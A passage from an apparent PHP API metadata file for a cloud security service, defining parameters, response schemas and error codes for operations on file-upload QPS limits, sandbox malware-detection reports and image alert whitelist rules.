'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '168747', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the switch.'."\n" ."\n" .'> You can call the [ListClientUserDefineRules](~~ListClientUserDefineRules~~) or [ListSystemClientRules](~~ListSystemClientRules~~) operation to obtain the type from the response parameter SwitchId.'."\n", 'type' => 'string', 'required' => false, 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_190****', ], ], [ 'name' => 'TargetDefault', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to turn on the switch for newly added servers. Valid values:'."\n" ."\n" .'* **add**: yes'."\n" .'* **del**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'add', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '655B538A-A31B-58F2-A3FB-2EF4390D****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"655B538A-A31B-58F2-A3FB-2EF4390D****\\"\\n}","type":"json"}]', 'title' => 'UpdateCommonSwitchConfig', ], 'CreateFileUploadLimit' => [ 'summary' => 'Specifies the queries per second (QPS) limit on the files uploaded from the client.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '177850', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Limit', 'in' => 'query', 'schema' => [ 'description' => 'The QPS limit on the files uploaded from the client. Valid values: 100 to 10000.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '100', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'result', 'description' => 'result'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'requestId', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', 'title' => 'CreateFileUploadLimit', ], 'GetFileUploadLimit' => [ 'summary' => 'Queries the queries per second (QPS) limit on the files uploaded from the client.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'result', 'description' => 'result'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'requestId', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA431A', ], 'Data' => [ 'description' => 'The data returned if the request is successful.'."\n", 'type' => 'object', 'properties' => [ 'Limit' => [ 'description' => 'The QPS limit on the files uploaded from the client.'."\n", 'type' => 'string', 'example' => '100', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA431A\\",\\n \\"Data\\": {\\n \\"Limit\\": \\"100\\"\\n }\\n}","type":"json"}]', 'title' => 'GetFileUploadLimit', ], 'UpdateFileUploadLimit' => [ 'summary' => 'Modifies the queries per second (QPS) limit on the files uploaded from the client.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '177934', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Limit', 'in' => 'query', 'schema' => [ 'description' => 'The QPS limit on the files uploaded from the client. Valid values: 100 to 10000.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '100', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'result', 'description' => 'result'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'requestId', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidParam', 'errorMessage' => 'There was an error with your request.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\"\\n}","type":"json"}]', 'title' => 'UpdateFileUploadLimit', ], 'GetFileDetectReport' => [ 'summary' => 'Queries the cloud sandbox check results of malicious files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'Field', 'in' => 'query', 'schema' => [ 'description' => 'The field that you want to query. You can enter multiple fields and separate them with commas (,).'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **ThreatTypes**: the type of the threat intelligence event'."\n" .'* **Intelligences**: the threat intelligence event'."\n" .'* **ThreatLevel**: the level of the threat intelligence event'."\n" .'* **Basic**: the basic information about the report (the scan result)'."\n" .'* **Sandbox**: the cloud sandbox check report'."\n", 'type' => 'string', 'required' => false, 'example' => 'Basic,,ThreatTypes,Intelligences,Sandbox', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The event ID that corresponds to the file to be detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '81****', ], ], [ 'name' => 'FileHash', 'in' => 'query', 'schema' => [ 'description' => 'The hash value of the file to be detected.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b63917332950e5d219d0737ffe31****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'SourceType', 'in' => 'query', 'schema' => [ 'description' => 'The data source type. Valid values:'."\n" ."\n" .'* **machine**: host alerts'."\n" .'* **object_scan**: file detection alerts'."\n", 'type' => 'string', 'required' => false, 'example' => 'object_scan', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'FileHash' => [ 'description' => 'The hash value of the file.'."\n", 'type' => 'string', 'example' => 'c42b5f6bde0b730ece2923266333****', ], 'ThreatLevel' => [ 'description' => 'The threat level. Valid values:'."\n" ."\n" .'* **0**: normal'."\n" .'* **1**: suspicious'."\n" .'* **2**: high'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'Sandbox' => [ 'description' => 'The details of the cloud sandbox check results.'."\n", 'type' => 'string', 'example' => '{\'BehaviorData\': {}, \'ProcessData\': {}, \'SandboxData\': {}, \'AttackData\': [], \'NetworkData\': {}, \'SolutionData\': {}, \'FileData\': {}}', ], 'Basic' => [ 'description' => 'The basic information about the detected file.'."\n", 'type' => 'string', 'example' => ' {'."\n" .' "sha256": "",'."\n" .' "sha512": "",'."\n" .' "source": "aegis",'."\n" .' "gmt_first_submit": "",'."\n" .' "sha1": "",'."\n" .' "virus_result": "",'."\n" .' "webshell_result": "",'."\n" .' "gmt_update": "",'."\n" .' "sandbox_result": "2",'."\n" .' "fileSize": "363752",'."\n" .' "virus_name": "",'."\n" .' }', ], 'Filename' => [ 'description' => 'The name of the file.'."\n", 'type' => 'string', 'example' => 'test.zip', ], 'HasData' => [ 'description' => 'Indicates whether the file data exists in the cloud sandbox. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Intelligences' => [ 'description' => 'The threat intelligence event, which is a JSON array.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* The threat type. The value is an array. The elements in the array can be DDoS trojans, mining programs, network layer intrusions, network service scans, network sharing and discovery, mining pools, exploits, dark webs, malicious logons, malicious download sources, C\\&C servers, webshells, and web attacks.'."\n", 'type' => 'string', 'example' => '["The threat type"]', ], 'ThreatTypes' => [ 'description' => 'The risk tags and server tags that are generated by analyzing threat intelligence and security events. The value is a string array. The array includes the following elements:'."\n" ."\n" .'* **threat_type_desc**: the threat type.'."\n" .'* **last_find_time**: the last time the threat was detected.'."\n" .'* **risk_type**: indicates whether the tag is malicious. The value 0 indicates that the tag is not malicious. The value 1 indicates that the tag is malicious. The value -1 indicates that whether the tag type is malicious is unknown.'."\n" .'* **threat_type**: the threat type. The value is an array. The elements in the array can be network layer intrusion, network service scanning, network sharing and discovery, mining pool, exploits, darknet, malicious logon, malicious download source, central control, web shell, and web attack.'."\n", 'type' => 'string', 'example' => '[{"threat_type_desc": "test","risk_type": 1,"threat_type": ""}]', ], 'ShowTab' => [ 'description' => 'Indicates whether the check report is displayed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393XXXX', ], 'Code' => [ 'description' => 'The status code that is returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FileHash\\": \\"c42b5f6bde0b730ece2923266333****\\",\\n \\"ThreatLevel\\": 2,\\n \\"Sandbox\\": \\"{\'BehaviorData\': {}, \'ProcessData\': {}, \'SandboxData\': {}, \'AttackData\': [], \'NetworkData\': {}, \'SolutionData\': {}, \'FileData\': {}}\\",\\n \\"Basic\\": \\" {\\\\n \\\\\\"sha256\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sha512\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"source\\\\\\": \\\\\\"aegis\\\\\\",\\\\n \\\\\\"gmt_first_submit\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sha1\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"virus_result\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"webshell_result\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"gmt_update\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sandbox_result\\\\\\": \\\\\\"2\\\\\\",\\\\n \\\\\\"fileSize\\\\\\": \\\\\\"363752\\\\\\",\\\\n \\\\\\"virus_name\\\\\\": \\\\\\"\\\\\\",\\\\n }\\",\\n \\"Filename\\": \\"挖矿程序\\",\\n \\"HasData\\": true,\\n \\"Intelligences\\": \\"[\\\\\\"挖矿程序\\\\\\"]\\",\\n \\"ThreatTypes\\": \\"[{\\\\\\"threat_type_desc\\\\\\": \\\\\\"挖矿程序\\\\\\",\\\\\\"risk_type\\\\\\": 1,\\\\\\"threat_type\\\\\\": \\\\\\"\\\\\\"}]\\",\\n \\"ShowTab\\": true\\n },\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393XXXX\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","type":"json"}]', 'title' => 'GetFileDetectReport', ], 'DescribeImageEventOperationPage' => [ 'summary' => 'Queries alert handling rules by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '195585', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'title' => '主键id', 'description' => 'The ID of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '49616', ], ], [ 'name' => 'EventType', 'in' => 'query', 'schema' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Set the value to **sensitiveFile**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sensitiveFile', ], ], [ 'name' => 'EventKey', 'in' => 'query', 'schema' => [ 'title' => '告警项关键字', 'description' => 'The keyword of the alert item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'PEM', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'title' => '告警项名称', 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'PEM', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the alert handling rule. Valid values:'."\n" ."\n" .'* **default**: image.'."\n" .'* **agentless**: agentless detection.', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The results returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The alert handling rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The alert handling rule.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2646624', ], 'EventType' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Only **sensitiveFile** may be returned.'."\n", 'type' => 'string', 'example' => 'sensitiveFile', ], 'OperationCode' => [ 'title' => '操作类型', 'description' => 'The operation code.'."\n" ."\n" .'* Only **whitelist** may be returned, which means that the alert item is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'whitelist', ], 'Conditions' => [ 'title' => '规则条件', 'description' => 'The rule conditions. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **condition**: the matching condition.'."\n" .'* **type**: the matching type.'."\n" .'* **value**: the matching value.'."\n", 'type' => 'string', 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", ], 'Scenarios' => [ 'title' => '规则范围', 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", ], 'EventKey' => [ 'title' => '告警项关键字', 'description' => 'The keyword of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], 'EventName' => [ 'title' => '告警项名称', 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], 'Note' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'example' => 'xxx', ], 'Source' => [ 'type' => 'string', 'description' => 'The source of the whitelist. Valid values:'."\n" ."\n" .'* **image**: image.'."\n" .'* **agentless**: agentless detection.'."\n", 'example' => 'agentless', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '109', ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"Id\\": 2646624,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\",\\n \\"Note\\": \\"xxx\\",\\n \\"Source\\": \\"default\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageEventOperationPage', ], 'GetImageEventOperation' => [ 'summary' => 'Queries alert handling rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '814163', 'docRequired' => true, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '主键id', 'description' => 'The primary key of the alert handling rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '443496', ], 'EventType' => [ 'title' => '告警类型', 'description' => 'The alert type. Valid values:'."\n" ."\n" .'* **sensitiveFile**'."\n", 'type' => 'string', 'example' => 'sensitiveFile', ], 'OperationCode' => [ 'title' => '操作类型', 'description' => 'The operation code. Valid values:'."\n" ."\n" .'* **whitelist**: added to the whitelist.'."\n", 'type' => 'string', 'example' => 'whitelist', ], 'Conditions' => [ 'title' => '规则条件', 'description' => 'The rule conditions. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **condition**: the matching condition.'."\n" .'* **type**: the matching type.'."\n" .'* **value**: the matching value.'."\n", 'type' => 'string', 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", ], 'Scenarios' => [ 'title' => '规则范围', 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", ], 'EventKey' => [ 'title' => '告警项关键字', 'description' => 'The keyword of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], 'EventName' => [ 'title' => '告警项名称', 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'example' => 'PEM', ], 'Source' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" ."\n" .'* **default**: image'."\n" .'* **agentless**: agentless detection', 'type' => 'string', 'example' => 'agentless', ], 'Note' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'example' => 'No warning.', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5861EE3E-F0B3-48B8-A5DC-A5080BFB****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Note\\": \\"No warning.\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"5861EE3E-F0B3-48B8-A5DC-A5080BFB****\\"\\n}","type":"json"}]', 'title' => 'GetImageEventOperation', ], 'DescribeImageEventOperationCondition' => [ 'summary' => 'Queries the conditions for handling alert events in an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'EventType', 'in' => 'query', 'schema' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Set the value to **sensitiveFile**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sensitiveFile', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'EventType' => [ 'title' => '告警类型', 'description' => 'The alert type.'."\n" ."\n" .'* Only **sensitiveFile** may be returned.'."\n", 'type' => 'string', 'example' => 'sensitiveFile', ], 'Operations' => [ 'title' => '操作类型', 'description' => 'The operations.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'OperationCode' => [ 'title' => '操作码', 'description' => 'The operation code.'."\n" ."\n" .'* Only **whitelist** may be returned, which indicates that the alert event is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'whitelist', ], 'OperationName' => [ 'title' => '操作名称', 'description' => 'The name of the operation.'."\n", 'type' => 'string', 'example' => 'whitelist', ], 'Conditions' => [ 'title' => '规则条件', 'description' => 'The rule conditions.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ConditionKey' => [ 'title' => '条件关键字', 'description' => 'The keyword of the condition. Valid values:'."\n" ."\n" .'* **MD5**'."\n" .'* **PATH**'."\n", 'type' => 'string', 'example' => 'MD5', ], 'ConditionName' => [ 'title' => '条件名称', 'description' => 'The name of the condition.'."\n", 'type' => 'string', 'example' => 'MD5', ], 'SupportedMisType' => [ 'title' => '匹配类型', 'description' => 'The matching types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The matching type. Valid values:'."\n" ."\n" .'* **contains**'."\n" .'* **equals**'."\n" .'* **startWith**'."\n" .'* **endWith**'."\n", 'type' => 'string', 'example' => 'contains', ], ], ], ], ], ], ], ], 'Scenarios' => [ 'title' => '规则范围', 'description' => 'The application scopes of the rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The application scope of the rule. The value is in the JSON format. Valid values of keys:'."\n" ."\n" .'* **type**'."\n" .'* **value**'."\n", 'type' => 'string', 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 